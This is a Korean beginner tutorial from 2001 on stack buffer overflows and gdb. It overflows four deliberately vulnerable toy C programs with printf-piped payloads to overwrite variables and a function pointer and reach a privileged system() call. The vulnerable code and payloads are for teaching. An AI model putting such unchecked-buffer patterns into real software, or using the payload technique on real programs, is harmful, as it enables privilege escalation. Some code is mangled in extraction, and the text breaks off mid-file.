본문서는 Null@Root BOF공부방에서 공부된 내용을 정리한것입니다. ******************************************** Null@Root BOF Study write by Anesra , aakkg@dreamwiz.com http://null2root.new21.org date 2001.06.20 ******************************************** 본 문서는 Null@Root에서 BOF공부방으로 공부하였던 BOF의 개념과 gdb의 사용법에 대해서 정리한것입니다. 이것은 BOF의 초보자들을 위한것으로 이 문서를 보시고 아무쪼록 BOF의 개념에 대해서 감을 잡으시길 바랍니다. -차례----------------------------------------------- 1. 문제1, 문제2 // BOF가 뭔데? 2. 문제3 // 메모리의 생김새 3. 문제4 // gdb를 활용한 함수주소 찾기 ---------------------------------------------------- 1. 문제1, 문제2 // BOF가 뭔데? BOF란 Buffer OverFlow 의 약자로 말그대로 버퍼를 넘치게 해서 공격하는 것입니다. 그렇다면 버퍼란건 무엇일까요? 메모리 구조를 잘 드려다보면 ----------------------------------메모리주소의 높은곳 :A 스택공간: ↓메모리자라는방향 //여기선 아래에서 위로 자랍니다. ---------------------------------- :B 힙공간: ↑ 메모리자라는방향 ---------------------------------- DATA공간: ↑ 메모리자라는방향 ---------------------------------- Text공간: ↑ 메모리자라는방향 ==================================메모리주소의 낮은곳 다시 스택공간만 본다면 A와 B를 뒤집어서 -----------------------------B 스택 ↑ 메모리자라는방향 -----------------------------A 이렇게 됩니다 스택이란게 LIFO(Last In First Out) 처럼 그릇을 놓고 꺼낼때처럼 마지막에 들어간것이 첨으로 나옵니다. 이제 프로그램을 한번 봅시다. Bof1.c #include #include main() { char buf2[20]; //버퍼2공간을 20바이트로 잡고 char buf[20]; //버퍼의 공간을 20바이트로 잡음 fgets(buf,40,stdin); //표준입력으로 버퍼에 40바이트까지 입력을 받을수 있음 if (!strcmp(buf2, "Angel\n")) //buf2의 스트링과 Angel이란문자가 일치할 경우 { setreuid(999,999); //퍼미션을 주고 system("whoami"); //쉘을 실행시킴 } } 여기서 보면 코드는 처음에 정의된것이 스택의 아래에서부터 차곡차곡 쌓입니다. 즉 스택의 구조를 보면 ----------------------------B buf[20] ↓들어가는 순서 ---------------------------- buf2[20] ============================A 이렇게 메모리 공간속에 들어가는것입니다. 그리고 우리가 입력을 하면 buf먼저 차겠죠 그런데 buf의 공간은 20바이트인데 그걸 넘게 입력하면 무슨일이 생길까요? 바로 buf2의 공간까지 침범해서 들어가는것입니다. 저걸 옆으로 누워서보면 B-buf[20]-bu2[20] -A에서 012345678901234567890 입력을 하면 buf[12345678901234567890] - buf2[20] 이렇게 들어가는 것입니다. 그럼 실제로 한번 버퍼를 공격해 보겠습니다. 그리고 그전에 덤프코드를 해서 메모리의 구조를 봐야합니다. #include #include #include"dumpcode.h" main() { char buf2[20]; //버퍼2공간을 20바이트로 잡고 char buf[20]; //버퍼의 공간을 20바이트로 잡음 dumpcode((char*)buf,50); //입력하기 전에 메모리 상태 printf("buf2:%x, buf:%x\n", &buf2,&buf); //buf2와 buf의 메모리 주소를 알아냅니다. fgets(buf,40,stdin); //표준입력으로 버퍼에 40바이트까지 입력을 받을수 있음 if (!strcmp(buf2, "Angel\n")) //buf2의 스트링과 Angel이란문자가 일치할 경우 { setreuid(999,999); //퍼미션을 주고 system("whoami"); //쉘을 실행시킴 } dumpcode((char*)buf,50); //입력하고 난 뒤에 메모리 상 } ~ 위에 소스를 수정한 소스입니다. 보시면 dumpcode.h란것이 추가되었구 dumpcode((char*)buf,50); 이 추가되었습니다. 이것은 메모리를 덤프해서 상황을 보여주는것입니다. 뒤에 50은 얼마만큼 상태를 보여줄껀가 하는 것을 나타냅니다. 그럼 이제 한번 공격해봅시다 .! [null2root@Hacker .Anesra]$ gcc bof1.c -o bof1 [null2root@Hacker .Anesra]$ ./bof1 0xbffffc60 88 fc ff bf 70 a9 00 40 5b a5 0f 40 1c 98 04 08 ....p..@[..@.... 0xbffffc70 60 ae 00 40 d4 fc ff bf 88 fc ff bf eb 84 04 08 `..@............ 0xbffffc80 08 98 04 08 1c 98 04 08 a8 fc ff bf cb 29 03 40 .............).@ 0xbffffc90 01 00 .. buf2:bffffc74, buf:bffffc60 //실행하면 여기서 멈추고 입력을 기다립니다. aaaaaaaaaa //aaaaaaaaa라고 입력하고 엔터를 칩니다. 0xbffffc60 61 61 61 61 61 61 61 61 61 61 0a 00 1c 98 04 08 aaaaaaaaaa...... 0xbffffc70 60 ae 00 40 d4 fc ff bf 88 fc ff bf eb 84 04 08 `..@............ 0xbffffc80 08 98 04 08 1c 98 04 08 a8 fc ff bf cb 29 03 40 .............).@ 0xbffffc90 01 00 .. [null2root@Hacker .Anesra]$ 여기서 보시면 buf2와 buf는 정확히 20바이트가 차이나는걸 볼수 있습니다. buf2:bffffc74 buf:bffffc60 //이것은 16진수이기 때문에 20바이트가 차이가 납니다. 그럼 이제 buf에 20바이트를 아무거나 집어넣고 buf2에 다가 Angel이라는 스트링을 입력해봅시다. [null2root@Hacker .Anesra]$ ./bof1 0xbffffc60 88 fc ff bf 70 a9 00 40 5b a5 0f 40 1c 98 04 08 ....p..@[..@.... 0xbffffc70 60 ae 00 40 d4 fc ff bf 88 fc ff bf eb 84 04 08 `..@............ 0xbffffc80 08 98 04 08 1c 98 04 08 a8 fc ff bf cb 29 03 40 .............).@ 0xbffffc90 01 00 .. buf2:bffffc74, buf:bffffc60 0123456789abcdef0123Angel //여기에 20바이트를 buf에 집어넣고 buf2에다가Angel이란 스트링을 입력 null2root //<= 여기서 위에 코드에서 실행한 system("whoami")가 실행된것을 볼수 있습니다. 0xbffffc60 30 31 32 33 34 35 36 37 38 39 61 62 63 64 65 66 0123456789abcdef 0xbffffc70 30 31 32 33 41 6e 67 65 6c 0a 00 bf eb 84 04 08 0123Angel....... 0xbffffc80 08 98 04 08 1c 98 04 08 a8 fc ff bf cb 29 03 40 .............).@ 0xbffffc90 01 00 //정확하게 buf2의 주소에 Angel이란 스트링이 들어간걸 볼수가 있습니다. .. [null2root@Hacker .Anesra]$ ----------------------------------------------------------------------------------------- 다음은 두번째 BOF의 예제를 봅시다. #include #include"dumpcode.h" //dumpcode.h파일을 추가시켜 메모리가 덤프되는상황을 보게한다. main() { int crap; int check; char buf[20]; dumpcode((char*)buf,50); //메모리를 50바이트를 덤프코드해서 보게한다. 입력받기이전의 메모리상태 fgets(buf,50,stdin); //표준입력으로 50바이트를 입력받는다. if(check==0xdeadbeef) //check변수의 값과 0xdeadbeef의 값이 같을시에 쉘을실행하게한다. { setreuid(999,999); system("whoami"); } printf("\ncrap:%x, check:%x, buf:%x\n",&crap,&check,&buf); //check변수의주소와 buf의 주소를 확인한다. dumpcode((char*)buf,50); //입력받은후의 메모리 상태를 확인한다. } 이렇게 되면 스택상에 아래의 그림과 같이 들어갑니다. ----------------------B buf[20] ---------------------- check ---------------------- crap ======================A 그럼한번 공격해봅시다. [null2root@Hacker .Anesra]$ ./bof2 0xbffffc6c e0 97 04 08 60 ae 00 40 d4 fc ff bf 88 fc ff bf ....`..@........ 0xbffffc7c bb 84 04 08 cc 97 04 08 e0 97 04 08 a8 fc ff bf ................ 0xbffffc8c cb 29 03 40 01 00 00 00 d4 fc ff bf dc fc ff bf .).@............ 0xbffffc9c 68 38 h8 aaaaaaaaaa //입력받기전에 메모리구조 와 입력한값 crap:bffffc84, check:bffffc80, buf:bffffc6c //변수들의 주소 0xbffffc6c 61 61 61 61 61 61 61 61 61 61 0a 00 88 fc ff bf aaaaaaaaaa...... 0xbffffc7c bb 84 04 08 cc 97 04 08 e0 97 04 08 a8 fc ff bf ................ 0xbffffc8c cb 29 03 40 01 00 00 00 d4 fc ff bf dc fc ff bf .).@............ 0xbffffc9c 68 38 h8 //aaaaaaaaaa를 입력한후의 메모리 구조 [null2root@Hacker .Anesra]$ 여기에서 스택 잘 보면 -----------------------B buf[20] 0xbffffc6c ----------------------- check 0xbffffc80 ----------------------- crap 0xbffffc84 =======================A 이제 확실히 메모리 주소의 상태를 이해하실수 있곘죠? 그렇다면 이젠 check의 값을 0xdeadbeef로 바꿔줘야 하는 문제가 남아있습니다. 이때까지는 입력하면 그것이 ASCII코드르 바뀌어서 나타났는데(예를들어 a를 입력하면 61이라는 ASCII로 나타났는데 이젠 직접 메모리에 ASCII코드를 집어넣어줘야 합니다. 즉 20바이트까지 buf에 집어넣은다음에 check가 가르치는 주소의 값에다가 0xdaedbeef를 집어넣어줘야 합니다. 그리고 집어넣어 줄때는 0x를 빼고 deadbeef를 뒤에서 부터 2개씩 짤라서 꺼꾸로 집어넣어야합니다. 즉 de ad be ef 를 넣으며 안되고 ef be ad de를 넣어줘야 합니다. 이유는 메모리 구조를 알아야하는데 어셈블리어를 공부하시다보면 이해하실수 있을껍니다. 그럼 본론으로 들어가서 어떻게 20바이트 뒤에 ef be ad de를 집어넣는가 하는문제 지금 까지는 프로그램을 실행해서 값을 넣었는데 이젠 바로 입력하는걸 알아야 합니다. 그럼 한번 아래 명령어를 보십시요 [null2root@Hacker .Anesra]$ (printf "aaaaaaaaaa";cat)|./bof2 0xbffffc6c e0 97 04 08 60 ae 00 40 d4 fc ff bf 88 fc ff bf ....`..@........ 0xbffffc7c bb 84 04 08 cc 97 04 08 e0 97 04 08 a8 fc ff bf ................ 0xbffffc8c cb 29 03 40 01 00 00 00 d4 fc ff bf dc fc ff bf .).@............ 0xbffffc9c 68 38 h8 //입력하기전의 메모리 상태 crap:bffffc84, check:bffffc80, buf:bffffc6c 0xbffffc6c 61 61 61 61 61 61 61 61 61 61 0a 00 88 fc ff bf aaaaaaaaaa...... 0xbffffc7c bb 84 04 08 cc 97 04 08 e0 97 04 08 a8 fc ff bf ................ 0xbffffc8c cb 29 03 40 01 00 00 00 d4 fc ff bf dc fc ff bf .).@............ 0xbffffc9c 68 38 h8 //명령어 상태에서 바로 입력한뒤에 메모리 상태 위에서 (printf "aaaaaaaaaa";cat)|./bof2 이 말뜻은 printf로 aaaaaaaaaaa를 입력하고 그것을 cat으로 |(파이프) 즉 왼쪽의 입력을 오른쪽의 출력으로 만드는것입니다. 즉 (printf "aaaaaaaaaa";cat) 을 ./bof2에 입력하라는 말입니다. 메모리가 들어간것을 확인할수 있습니다. 그리고 위에서 또 check와 buf의 주소를 보면 정확하게 20바이트 떠러진것을 알수있습니다. 참고: check와buf의 주소가 정확하게 20바이트가 떨어졌는데 gcc 2.96으로 올라가면서 중간에 쓰레기공간이 생기게 되었습니다. 전 첨에 할때 20바이트가 아니라 40바이트가 떨어져있어서 놀란적도있습니다. 어쨋든 메모리 주소만큼 입력한뒤에 check에 해당하는 주소에만 넣을 값을 넣어주면 됩니다. *참고 끝: 그럼 이제 0xdeadbeef를 넣어봅시다. [null2root@Hacker .Anesra]$ (printf "12345678901234567890\xef\xbe\xad\xde";cat) |./bof2 //메모리에 직접넣을땐 \x값 이렇게 넣어줘야 합니다. 0xbffffc6c e0 97 04 08 60 ae 00 40 d4 fc ff bf 88 fc ff bf ....`..@........ 0xbffffc7c bb 84 04 08 cc 97 04 08 e0 97 04 08 a8 fc ff bf ................ 0xbffffc8c cb 29 03 40 01 00 00 00 d4 fc ff bf dc fc ff bf .).@............ 0xbffffc9c 68 38 h8 //입력하기 전에 메모리상태 null2root //정확하게 실행한뒤에 system("whoami");를 실행한 쉘 crap:bffffc84, check:bffffc80, buf:bffffc6c 0xbffffc6c 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 1234567890123456 0xbffffc7c 37 38 39 30 ef be ad de 0a 00 04 08 a8 fc ff bf 7890............ 0xbffffc8c cb 29 03 40 01 00 00 00 d4 fc ff bf dc fc ff bf .).@............ 0xbffffc9c 68 38 h8 // 여기에서 보시면 0xbffffc7c 37 38 39 30 ef be ad de ----------- 들어간것을 알수있습니다. [null2root@Hacker .Anesra]$ ----------------------------------------------------------------------------------------- 2. 문제3 // 메모리의 생김새 그럼 이제 다른 예제를 보겠습니다. [null2root@Hacker .Anesra]$ cat bof3.c #include #include"dumpcode.h" main() { int crap; int *check; char buf[20]; dumpcode((char*)buf,16*5); fgets(buf,16*5,stdin); if(*check==0xdeadbeef) { setuid(999,999); system("whoami"); } printf("\ncrap:%x, *check:%x, buf:%x\n", &crap,&(check),&buf); dumpcode((char*)buf,16*5); } 여기서 중요한건 포인터개념 포인터는 주소를 값으로 가지고 있다는것을 알아두셔야 합니다. 그럼 실행해서 한번 메모리상태를 알아보도록하죠 [null2root@Hacker .Anesra]$ ./bof3 0xbffffc6c d0 97 04 08 60 ae 00 40 d4 fc ff bf 88 fc ff bf ....`..@........ 0xbffffc7c ab 84 04 08 bc 97 04 08 d0 97 04 08 a8 fc ff bf ................ 0xbffffc8c cb 29 03 40 01 00 00 00 d4 fc ff bf dc fc ff bf .).@............ 0xbffffc9c 68 38 01 40 01 00 00 00 10 84 04 08 00 00 00 00 h8.@............ 0xbffffcac 31 84 04 08 a4 86 04 08 01 00 00 00 d4 fc ff bf 1............... aaaaaaaaaaaaa crap:bffffc84, *check:bffffc80, buf:bffffc6c 0xbffffc6c 61 61 61 61 61 61 61 61 61 61 61 61 61 0a 00 bf aaaaaaaaaaaaa... 0xbffffc7c ab 84 04 08 bc 97 04 08 d0 97 04 08 a8 fc ff bf ................ 0xbffffc8c cb 29 03 40 01 00 00 00 d4 fc ff bf dc fc ff bf .).@............ 0xbffffc9c 68 38 01 40 01 00 00 00 10 84 04 08 00 00 00 00 h8.@............ 0xbffffcac 31 84 04 08 a4 86 04 08 01 00 00 00 d4 fc ff bf 1............... [null2root@Hacker .Anesra]$ 여기에서 잘 보시면 check가 가리키는 주소가 bffffc80임을 알수있습니다. 0xbffffc80 bc 97 04 08 이부분임을 알수 있습니다. 따라서 저부분을 0xdeadbeef를 담고있는 주소로 바꿔주어야 합니다. 즉 아래와 같이 A를 16번넣은후에 deadbeef값을 메모리에 넣고 그메모리번지를 check가 가리키게 하면 됩니다. [null2root@Hacker .Anesra]$ (printf "AAAAAAAAAAAAAAAA\xef\xbe\xad\xde\x7c\xfc\x ff\xbf";cat)|./bof3 0xbffffc6c d0 97 04 08 60 ae 00 40 d4 fc ff bf 88 fc ff bf ....`..@........ 0xbffffc7c ab 84 04 08 bc 97 04 08 d0 97 04 08 a8 fc ff bf ................ 0xbffffc8c cb 29 03 40 01 00 00 00 d4 fc ff bf dc fc ff bf .).@............ 0xbffffc9c 68 38 01 40 01 00 00 00 10 84 04 08 00 00 00 00 h8.@............ 0xbffffcac 31 84 04 08 a4 86 04 08 01 00 00 00 d4 fc ff bf 1............... null2root crap:bffffc84, *check:bffffc7c, buf:bffffc6c 0xbffffc6c 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffc7c ef be ad de 7c fc ff bf 0a 00 04 08 a8 fc ff bf ....|........... 0xbffffc8c cb 29 03 40 01 00 00 00 d4 fc ff bf dc fc ff bf .).@............ 0xbffffc9c 68 38 01 40 01 00 00 00 10 84 04 08 00 00 00 00 h8.@............ 0xbffffcac 31 84 04 08 a4 86 04 08 01 00 00 00 d4 fc ff bf 1............... [null2root@Hacker .Anesra]$ 그럼 위와 같이 실행된것을 볼수 있습니다. ------------------------------------------------------------------ 3. 문제4 // gdb를 활용한 함수주소 찾기 이번엔 gdb를 사용해서 함수의 리턴주소를 이용하는 것을 해봅시다. 소스는 아래와 같습니다. ---bof4.c------------------- [null2root@Hacker .Anesra]$ cat bof4.c #include #include"dumpcode.h" void shell() { setreuid(999,999); system("whoami"); printf("congratulations! Success \n"); } void printit() { printf("general program!\n"); } main() { int crap; void (*call)()=printit; char buf[20]; fgets(buf,80,stdin); dumpcode((char*)buf,100); call(); } [null2root@Hacker .Anesra]$ 이 프로그램이 어떻게 생겨먹었는지 한번 실행해봅시다. [null2root@Hacker .Anesra]$ ./bof4 aaaaaaaaaaaa 0xbffffc6c 61 61 61 61 61 61 61 61 61 61 61 61 0a 00 ff bf aaaaaaaaaaaa.... 0xbffffc7c bb 84 04 08 e8 86 04 08 00 98 04 08 a8 fc ff bf ................ 0xbffffc8c cb 29 03 40 01 00 00 00 d4 fc ff bf dc fc ff bf .).@............ 0xbffffc9c 68 38 01 40 01 00 00 00 20 84 04 08 00 00 00 00 h8.@.... ....... 0xbffffcac 41 84 04 08 fc 86 04 08 01 00 00 00 d4 fc ff bf A............... 0xbffffcbc 54 83 04 08 6c 87 04 08 60 ae 00 40 cc fc ff bf T...l...`..@.... 0xbffffccc 90 3e 01 40 .>.@ general program! //printit()함수 호출한 결과. [null2root@Hacker .Anesra]$ 우리는 shell()함수를 호출하여야 합니다. 즉 메인에서 printit()함수를 호출하지 말고 shell()함수를 호출하게끔 프로그램을 건드려야 합니다.. 얼마나 재미있는 일입니다.우리가 프로그램을 마음대로 건들수 있다는게..^^; 그럼 한번 해봅시다. 우선 각 함수의 시작 주소를 알아야 합니다. 여기서 gdb를 사용하여 함수의 시작주소를 알아봅니다. gdb사용법은 다음과 같습니다. [null2root@Hacker .Anesra]$ gdb bof4 //gdb하고 실행프로그램을 적습니다. GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) 여기서 disassemble main 해봅시다. (gdb) disassemble main Dump of assembler code for function main: 0x80486fc
: push %ebp 0x80486fd : mov %esp,%ebp 0x80486ff : sub $0x1c,%esp 0x8048702 : push %ebx 0x8048703 : movl $0x80486e8,0xfffffff8(%ebp) 0x804870a : mov 0x80498d0,%eax 0x804870f : push %eax 0x8048710 : push $0x50 0x8048712 : lea 0xffffffe4(%ebp),%eax 0x8048715 : push %eax 0x8048716 : call 0x80483d4 0x804871b : add $0xc,%esp 0x804871e : push $0x64 0x8048720 : lea 0xffffffe4(%ebp),%eax 0x8048723 : push %eax 0x8048724 : call 0x8048514 0x8048729 : add $0x8,%esp 0x804872c : mov 0xfffffff8(%ebp),%ebx 0x804872f : call *%ebx 0x8048731 : mov 0xffffffe0(%ebp),%ebx 0x8048734 : leave 0x8048735 : ret 0x8048736 : nop ---Type to continue, or q to quit--- 우와...머가 많이도 나오네요..어셈코드도 보이구요 여기서 눈여겨 봐야 할것은 printit()함수를 호출하는 부분 0x8048703 : movl $0x80486e8,0xfffffff8(%ebp) 을 잘보세요 특히 0x80486e8을 기억하세요 그럼 이제 shell()함수를 gdb로 뜯어봅시다. (gdb) disassemble shell Dump of assembler code for function shell: 0x80486b4 : push %ebp 0x80486b5 : mov %esp,%ebp 0x80486b7 : push $0x3e7 0x80486bc : push $0x3e7 0x80486c1 : call 0x8048404 0x80486c6 : add $0x8,%esp 0x80486c9 : push $0x80487ab 0x80486ce : call 0x80483b4 0x80486d3 : add $0x4,%esp 0x80486d6 : push $0x80487b2 0x80486db : call 0x80483f4 0x80486e0 : add $0x4,%esp 0x80486e3 : leave 0x80486e4 : ret 0x80486e5 : lea 0x0(%esi),%esi End of assembler dump. (gdb) 음...여기서 shell()함수의 시작주소가 0x80486b4인걸 볼수 있습니다. 그리고 마지막으로 이젠 printit()함수를 봐야하겠죠 (gdb) disassemble printit Dump of assembler code for function printit: 0x80486e8 : push %ebp 0x80486e9 : mov %esp,%ebp 0x80486eb : push $0x80487cd 0x80486f0 : call 0x80483f4 0x80486f5 : add $0x4,%esp 0x80486f8 : leave 0x80486f9 : ret 0x80486fa : mov %esi,%esi End of assembler dump. (gdb) 음...어라 printit()함수의 시작주소가 0x80486e8이네요 .이건 메인함수에있던 주소였죠.기억나시죠? 그럼 이 주소(0x80486e8)을 shell()함수의시작주소인 (0x80486b4)으로 바꾸어주면 메인프로그램은 바보같이 printit()함수를 호출하지 않고 shell()함수를 호출하겠죠? 그럼 한번 메모리 덤프를 떠봅시다~ (gdb) q [null2root@Hacker .Anesra]$ ./bof4 0xbffffc6c 0a 00 04 08 60 ae 00 40 d4 fc ff bf 88 fc ff bf ....`..@........ 0xbffffc7c bb 84 04 08 e8 86 04 08 00 98 04 08 a8 fc ff bf ................ 0xbffffc8c cb 29 03 40 01 00 00 00 d4 fc ff bf dc fc ff bf .).@............ 0xbffffc9c 68 38 01 40 01 00 00 00 20 84 04 08 00 00 00 00 h8.@.... ....... 0xbffffcac 41 84 04 08 fc 86 04 08 01 00 00 00 d4 fc ff bf A............... 0xbffffcbc 54 83 04 08 6c 87 04 08 60 ae 00 40 cc fc ff bf T...l...`..@.... 0xbffffccc 90 3e 01 40 .>.@ general program! [null2root@Hacker .Anesra]$ 여기서 0xbffffc7c bb 84 04 08 e8 86 04 08 이부분을 잘 보시면 0xbffffc80부분부터 e8 86 04 08(=0x80486e8)인것을 알수있습니다. 이부분을 이제 b4 86 04 08(=0x80486b4)로 바꿔주면 이제 멍청한 main()함수는 우리가 의도했던데로 shell()함수를 호출하겠죠~ 그럼 마지막으로 한번 힘내서 해봅시다. [null2root@Hacker .Anesra]$ (printf "12345678901234567890\xb4\x86\x04\x08";cat) |./bof4 0xbffffc6c 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 1234567890123456 0xbffffc7c 37 38 39 30 b4 86 04 08 0a 00 04 08 a8 fc ff bf 7890............ 0xbffffc8c cb 29 03 40 01 00 00 00 d4 fc ff bf dc fc ff bf .).@............ 0xbffffc9c 68 38 01 40 01 00 00 00 20 84 04 08 00 00 00 00 h8.@.... ....... 0xbffffcac 41 84 04 08 fc 86 04 08 01 00 00 00 d4 fc ff bf A............... 0xbffffcbc 54 83 04 08 6c 87 04 08 60 ae 00 40 cc fc ff bf T...l...`..@.... 0xbffffccc 90 3e 01 40 .>.@ null2root congratulations! Success [null2root@Hacker .Anesra]$ 와~~~~ 드뎌 메인함수가 printit()을 호출하지 않고 shell()함수를 호출한것을 볼수 있습니다. 함수의 흐름을 바꿔놓은거죠~~ 여기까지 BOF의 개념과 간단한 BOF프로그램 그리고 gdb의 사용법에 대해서 알아보았습니다. 아무쪼록 BOF의 개념을 이해하셨길 바라며 이만 . 열심히 즐컴하시길 바랍니다. *첨부 dumpcode.h [null2root@Hacker .Anesra]$ cat dumpcode.h void printchar(unsigned char c) { if(isprint(c)) printf("%c",c); else printf("."); } void dumpcode(unsigned char *buff, int len) { int i; for(i=0;i